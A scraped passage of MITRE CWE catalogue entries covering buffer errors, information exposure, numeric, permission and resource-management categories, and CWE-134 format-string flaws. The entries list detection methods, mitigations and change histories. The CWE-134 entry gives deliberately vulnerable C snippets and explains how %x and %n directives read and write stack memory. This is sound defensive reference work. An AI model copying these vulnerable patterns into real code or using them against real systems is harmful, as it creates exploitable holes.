Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base123Write-what-where Condition
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base125Out-of-bounds Read
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base130Improper Handling of Length Parameter Inconsistency
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base466Return of Pointer Value Outside of Expected Range
Research Concepts (primary)1000
ParentOfCompound Element: ChainCompound Element: Chain680Integer Overflow to Buffer Overflow
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base786Access of Memory Location Before Start of Buffer
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base787Out-of-bounds Write
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base788Access of Memory Location After End of Buffer
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base805Buffer Access with Incorrect Length Value
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base822Untrusted Pointer Dereference
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base823Use of Out-of-range Pointer Offset
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base824Access of Uninitialized Pointer
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base825Expired Pointer Dereference
Development Concepts (primary)699
Research Concepts (primary)1000
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
CanFollowWeakness ClassWeakness Class20Improper Input Validation
Research Concepts1000
CanFollowWeakness BaseWeakness Base128Wrap-around Error
Research Concepts1000
CanFollowWeakness BaseWeakness Base129Improper Validation of Array Index
Research Concepts1000
CanFollowWeakness BaseWeakness Base131Incorrect Calculation of Buffer Size
Development Concepts699
Research Concepts1000
CanFollowWeakness BaseWeakness Base190Integer Overflow or Wraparound
Research Concepts1000
Integer Overflow to Buffer Overflow680
CanFollowWeakness BaseWeakness Base193Off-by-one Error
Research Concepts1000
CanFollowWeakness VariantWeakness Variant195Signed to Unsigned Conversion Error
Research Concepts1000
CanFollowWeakness BaseWeakness Base839Numeric Range Comparison Without Minimum Check
Research Concepts1000
CanFollowWeakness BaseWeakness Base843Access of Resource Using Incompatible Type ('Type Confusion')
Research Concepts1000
+ Affected Resources
  • Memory
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A5ExactBuffer Overflows
CERT C Secure CodingARR00-CUnderstand how arrays work
CERT C Secure CodingARR33-CGuarantee that copies are made into storage of sufficient size
CERT C Secure CodingARR34-CEnsure that array types in expressions are compatible
CERT C Secure CodingARR35-CDo not allow loops to iterate beyond the end of an array
CERT C Secure CodingENV01-CDo not make assumptions about the size of an environment variable
CERT C Secure CodingFIO37-CDo not assume character data has been read
CERT C Secure CodingMEM09-CDo not assume memory allocation routines initialize memory
CERT C Secure CodingSTR31-CGuarantee that storage for strings has sufficient space for character data and the null terminator
CERT C Secure CodingSTR32-CNull-terminate byte strings as required
CERT C Secure CodingSTR33-CSize wide character strings correctly
WASC7Buffer Overflow
CERT C++ Secure CodingARR00-CPPUnderstand when to prefer vectors over arrays
CERT C++ Secure CodingARR30-CPPGuarantee that array and vector indices are within the valid range
CERT C++ Secure CodingARR33-CPPGuarantee that copies are made into storage of sufficient size
CERT C++ Secure CodingARR35-CPPDo not allow loops to iterate beyond the end of an array or container
CERT C++ Secure CodingSTR31-CPPGuarantee that storage for character arrays has sufficient space for character data and the null terminator
CERT C++ Secure CodingSTR32-CPPNull-terminate character arrays as required
CERT C++ Secure CodingMEM09-CPPDo not assume memory allocation routines initialize memory
CERT C++ Secure CodingFIO37-CPPDo not assume character data has been read
CERT C++ Secure CodingENV01-CPPDo not make assumptions about the size of an environment variable
Software Fault PatternsSFP8Faulty Buffer Access
+ References
[R.119.1] [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 5, "Public Enemy #1: The Buffer Overrun" Page 127; Chapter 14, "Prevent I18N Buffer Overruns" Page 441. 2nd Edition. Microsoft. 2002.
[R.119.2] [REF-27] Microsoft. "Using the Strsafe.h Functions". <http://msdn.microsoft.com/en-us/library/ms647466.aspx>.
[R.119.3] [REF-26] Matt Messier and John Viega. "Safe C String Library v1.0.3". <http://www.zork.org/safestr/>.
[R.119.4] [REF-22] Michael Howard. "Address Space Layout Randomization in Windows Vista". <http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx>.
[R.119.5] Arjan van de Ven. "Limiting buffer overflows with ExecShield". <http://www.redhat.com/magazine/009jul05/features/execshield/>.
[R.119.6] [REF-29] "PaX". <http://en.wikipedia.org/wiki/PaX>.
[R.119.7] [REF-25] Microsoft. "Understanding DEP as a mitigation technology part 1". <http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx>.
[R.119.8] [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Memory Corruption", Page 167.. 1st Edition. Addison Wesley. 2006.
[R.119.9] [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Protection Mechanisms", Page 189.. 1st Edition. Addison Wesley. 2006.
[R.119.10] [REF-37] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. <https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/>.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Description, Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Relationships
2008-11-24CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Likelihood_of_Exploit, Name, Potential_Mitigations, References, Relationships
2009-03-10CWE Content TeamMITREInternal
updated Potential_Mitigations
2009-05-27CWE Content TeamMITREInternal
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITREInternal
updated Observed_Examples
2009-10-29CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Relationships, Time_of_Introduction
2009-12-28CWE Content TeamMITREInternal
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Observed_Examples
2010-02-16CWE Content TeamMITREInternal
updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-06-21CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-09-27CWE Content TeamMITREInternal
updated Potential_Mitigations, Relationships
2010-12-13CWE Content TeamMITREInternal
updated Name
2011-03-29CWE Content TeamMITREInternal
updated Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Demonstrative_Examples, Potential_Mitigations, References, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2013-02-21CWE Content TeamMITREInternal
updated Demonstrative_Examples
2014-02-18CWE Content TeamMITREInternal
updated Potential_Mitigations, References
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITREInternal
updated Relationships
2017-01-19CWE Content TeamMITREInternal
updated Relationships
2017-05-03CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Buffer Errors
2009-01-12Failure to Constrain Operations within the Bounds of an Allocated Memory Buffer
2010-12-13Failure to Constrain Operations within the Bounds of a Memory Buffer

CWE-200: Information Exposure

Weakness ID: 200
Abstraction: Class
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information.

Extended Description

The information either

  1. is regarded as sensitive within the product's own functionality, such as a private message; or

  2. provides information about the product or its environment that could be useful in an attack but is normally not available to the attacker, such as the installation path of a product that is remotely accessible.

Many information exposures are resultant (e.g. PHP script error revealing the full path of the program), but they can also be primary (e.g. timing discrepancies in cryptography). There are many different types of problems that involve information exposures. Their severity can range widely depending on the type of information that is revealed.

+ Alternate Terms
Information Leak:

This is a frequently used term, however the "leak" term has multiple uses within security. In some cases it deals with exposure of information, but in other cases (such as "memory leak") this deals with improper tracking of resources which can lead to exhaustion. As a result, CWE is actively avoiding usage of the "leak" term.

Information Disclosure:

This term is frequently used in vulnerability databases and other sources, however "disclosure" does not always have security implications. The phrase "information disclosure" is also used frequently in policies and legal documents, but do not refer to disclosure of security-relevant information.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

Language-independent

Architectural Paradigms

Mobile Application

+ Common Consequences
ScopeEffect
Confidentiality

Technical Impact: Read application data

+ Likelihood of Exploit

High

+ Detection Methods

Automated Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

  • Inter-application Flow Analysis

Effectiveness: SOAR Partial

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR High

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Fuzz Tester

  • Framework-based Fuzzer

  • Automated Monitored Execution

  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Manual Source Code Review (not inspections)

Effectiveness: SOAR High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Context-configured Source Code Weakness Analyzer

Cost effective for partial coverage:

  • Source code Weakness Analyzer

Effectiveness: SOAR High

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

  • Attack Modeling

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: SOAR High

+ Potential Mitigations

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory199Information Management Errors
Development Concepts (primary)699
ChildOfWeakness ClassWeakness Class668Exposure of Resource to Wrong Sphere
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory717OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory840Business Logic Errors
Development Concepts699
ChildOfCategoryCategory963SFP Secondary Cluster: Exposed Data
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfWeakness VariantWeakness Variant201Information Exposure Through Sent Data
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant202Exposure of Sensitive Data Through Data Queries
Development Concepts (primary)699
ParentOfWeakness ClassWeakness Class203Information Exposure Through Discrepancy
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base209Information Exposure Through an Error Message
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base212Improper Cross-boundary Removal of Sensitive Data
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base213Intentional Information Exposure
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant214Information Exposure Through Process Environment
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant215Information Exposure Through Debug Information
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base226Sensitive Information Uncleared Before Release
Development Concepts (primary)699
Research Concepts1000
ParentOfWeakness ClassWeakness Class359Exposure of Private Information ('Privacy Violation')
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant497Exposure of System Data to an Unauthorized Control Sphere
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant524Information Exposure Through Caching
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant526Information Exposure Through Environmental Variables
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base538File and Directory Information Exposure
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness VariantWeakness Variant598Information Exposure Through Query Strings in GET Request
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant612Information Exposure Through Indexing of Private Data
Development Concepts (primary)699
Research Concepts (primary)1000
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
CanFollowWeakness VariantWeakness Variant498Cloneable Class Containing Sensitive Information
Development Concepts699
Research Concepts1000
CanFollowWeakness VariantWeakness Variant499Serializable Class Containing Sensitive Data
Development Concepts699
Research Concepts1000
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInformation Leak (information disclosure)
OWASP Top Ten 2007A6CWE More SpecificInformation Leakage and Improper Error Handling
WASC13Information Leakage
+ References
[REF-33] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. <http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/>.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Likelihood_of_Exploit, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITREInternal
updated Description
2009-12-28CWE Content TeamMITREInternal
updated Alternate_Terms, Description, Name
2010-02-16CWE Content TeamMITREInternal
updated Taxonomy_Mappings
2010-04-05CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2011-03-29CWE Content TeamMITREInternal
updated Description, Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2013-02-21CWE Content TeamMITREInternal
updated Alternate_Terms, Applicable_Platforms, References
2014-06-23CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors, Relationships
2015-12-07CWE Content TeamMITREInternal
updated Relationships
2017-05-03CWE Content TeamMITREInternal
updated Related_Attack_Patterns
Previous Entry Names
Change DatePrevious Entry Name
2009-12-28Information Leak (Information Disclosure)

CWE CATEGORY: Numeric Errors

Category ID: 189
Status: Draft
+ Description

Description Summary

Weaknesses in this category are related to improper calculation or conversion of numbers.
+ Applicable Platforms

Languages

Language-independent

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory19Data Processing Errors
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base129Improper Validation of Array Index
Development Concepts699
ParentOfWeakness BaseWeakness Base198Use of Incorrect Byte Ordering
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base681Incorrect Conversion between Numeric Types
Development Concepts699
ParentOfWeakness ClassWeakness Class682Incorrect Calculation
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base839Numeric Range Comparison Without Minimum Check
Development Concepts (primary)699
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERNumeric Errors
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-10-29CWE Content TeamMITREInternal
updated Relationships
2011-03-29CWE Content TeamMITREInternal
updated Relationships
2015-12-07CWE Content TeamMITREInternal
updated Relationships
2017-01-19CWE Content TeamMITREInternal
updated Applicable_Platforms, Relationships

CWE CATEGORY: Permissions, Privileges, and Access Controls

Category ID: 264
Status: Incomplete
+ Description

Description Summary

Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
+ Applicable Platforms

Languages

All

+ Detection Methods

Manual Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Fuzz Tester

  • Framework-based Fuzzer

  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Manual Source Code Review (not inspections)

Cost effective for partial coverage:

  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: SOAR High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

  • Formal Methods / Correct-By-Construction

Effectiveness: SOAR High

+ Potential Mitigations

Phase: Architecture and Design

Strategy: Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory254Security Features
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfCategoryCategory265Privilege / Sandbox Issues
Development Concepts (primary)699
ParentOfCategoryCategory275Permission Issues
Development Concepts (primary)699
ParentOfWeakness ClassWeakness Class282Improper Ownership Management
Development Concepts (primary)699
ParentOfWeakness ClassWeakness Class284Improper Access Control
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
CanAlsoBeWeakness BaseWeakness Base283Unverified Ownership
Research Concepts1000
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPermissions, Privileges, and ACLs
+ References
[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 7, "How Tokens, Privileges, SIDs, ACLs, and Processes Relate" Page 218. 2nd Edition. Microsoft. 2002.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2010-02-16CWE Content TeamMITREInternal
updated References
2011-03-29CWE Content TeamMITREInternal
updated Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors
2015-12-07CWE Content TeamMITREInternal
updated Relationships

CWE CATEGORY: Resource Management Errors

Category ID: 399
Status: Draft
+ Description

Description Summary

Weaknesses in this category are related to improper management of system resources.
+ Applicable Platforms

Languages

All

+ Detection Methods

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Fuzz Tester

  • Framework-based Fuzzer

  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Manual Source Code Review (not inspections)

Cost effective for partial coverage:

  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: SOAR High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: SOAR High

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class398Indicator of Poor Code Quality
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base400Uncontrolled Resource Consumption ('Resource Exhaustion')
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base401Improper Release of Memory Before Removing Last Reference ('Memory Leak')
Development Concepts (primary)699
ParentOfWeakness ClassWeakness Class402Transmission of Private Resources into a New Sphere ('Resource Leak')
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base404Improper Resource Shutdown or Release
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness ClassWeakness Class405Asymmetric Resource Consumption (Amplification)
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base410Insufficient Resource Pool
Development Concepts (primary)699
ParentOfCategoryCategory411Resource Locking Problems
Development Concepts (primary)699
ParentOfWeakness VariantWeakness Variant415Double Free
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base416Use After Free
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness VariantWeakness Variant568finalize() Method Without super.finalize()
Development Concepts (primary)699
ParentOfWeakness VariantWeakness Variant590Free of Memory not on the Heap
Development Concepts (primary)699
ParentOfWeakness VariantWeakness Variant761Free of Pointer not at Start of Buffer
Development Concepts699
ParentOfWeakness VariantWeakness Variant762Mismatched Memory Management Routines
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base763Release of Invalid Pointer or Reference
Development Concepts (primary)699
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
MemberOfViewView699Development Concepts
Development Concepts (primary)699
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERResource Management Errors
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITREInternal
updated Relationships
2014-06-23CWE Content TeamMITREInternal
updated Other_Notes
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors
2015-12-07CWE Content TeamMITREInternal
updated Relationships
2017-01-19CWE Content TeamMITREInternal
updated Relationships

CWE-134: Use of Externally-Controlled Format String

Weakness ID: 134
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software uses a function that accepts a format string as an argument, but the format string originates from an external source.

Extended Description

When an attacker can modify an externally-controlled format string, this can lead to buffer overflows, denial of service, or data representation problems.

It should be noted that in some circumstances, such as internationalization, the set of format strings is externally controlled by design. If the source of these format strings is trusted (e.g. only contained in library files that are only modifiable by the system administrator), then the external control might not itself pose a vulnerability.

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

C: (Often)

C++: (Often)

Perl: (Rarely)

Languages that support format strings

+ Modes of Introduction

The programmer rarely intends for a format string to be externally-controlled at all. This weakness is frequently introduced in code that constructs log messages, where a constant format string is omitted.

In cases such as localization and internationalization, the language-specific message repositories could be an avenue for exploitation, but the format string issue would be resultant, since attacker control of those repositories would also allow modification of message length, format, and content.

+ Common Consequences
ScopeEffect
Confidentiality

Technical Impact: Read memory

Format string problems allow for information disclosure which can severely simplify exploitation of the program.

Integrity
Confidentiality
Availability

Technical Impact: Execute unauthorized code or commands

Format string problems can result in the execution of arbitrary code.

+ Likelihood of Exploit

Very High

+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Black Box

Since format strings often occur in rarely-occurring erroneous conditions (e.g. for error message logging), they can be difficult to detect using black box methods. It is highly likely that many latent issues exist in executables that do not have associated source code (or equivalent source.

Effectiveness: Limited

Automated Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Cost effective for partial coverage:

  • Binary / Bytecode simple extractor – strings, ELF readers, etc.

Effectiveness: SOAR High

Manual Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Fuzz Tester

  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Manual Source Code Review (not inspections)

Cost effective for partial coverage:

  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: SOAR High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Cost effective for partial coverage:

  • Warning Flags

Effectiveness: SOAR High

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: SOAR High

+ Demonstrative Examples

Example 1

The following program prints a string provided as an argument.

(Bad Code)
Example Language:
#include <stdio.h>

void printWrapper(char *string) {

printf(string);
}

int main(int argc, char **argv) {

char buf[5012];
memcpy(buf, argv[1], 5012);
printWrapper(argv[1]);
return (0);
}

The example is exploitable, because of the call to printf() in the printWrapper() function. Note: The stack buffer was added to make exploitation more simple.

Example 2

The following code copies a command line argument into a buffer using snprintf().

(Bad Code)
Example Language:
int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}

This code allows an attacker to view the contents of the stack and write to the stack using a command line argument containing a sequence of formatting directives. The attacker can read from the stack by providing more formatting directives, such as %x, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.) By using the %n formatting directive, the attacker can write to the stack, causing snprintf() to write the number of bytes output thus far to the specified argument (rather than reading a value from the argument, which is the intended behavior). A sophisticated version of this attack will use four staggered writes to completely control the value of a pointer on the stack.

Example 3

Certain implementations make more advanced attacks even easier by providing format directives that control the location in memory to read from or write to. An example of these directives is shown in the following code, written for glibc:

(Bad Code)
Example Language:
printf("%d %d %1$d %1$d\n", 5, 9);

This code produces the following output: 5 9 5 5 It is also possible to use half-writes (%hn) to accurately control arbitrary DWORDS in memory, which greatly reduces the complexity needed to execute an attack that would otherwise require four staggered writes, such as the one mentioned in the first example.

+ Observed Examples
ReferenceDescription
format string in Perl program
format string in bad call to syslog function
format string in bad call to syslog function
format strings in NNTP server responses
Format string vulnerability exploited by triggering errors or warnings, as demonstrated via format string specifiers in a .bmp filename.
Chain: untrusted search path enabling resultant format string by loading malicious internationalization messages
+ Potential Mitigations

Phase: Requirements

Choose a language that is not subject to this flaw.

Phase: Implementation

Ensure that all format string functions are passed a static string which cannot be controlled by the user and that the proper number of arguments are always sent to that function as well. If at all possible, use functions that do not support the %n operator in format strings. [R.134.1] [R.134.2]

Phase: Build and Compilation

Heed the warnings of compilers and linkers, since they may alert you to improper usage.

+ Other Notes

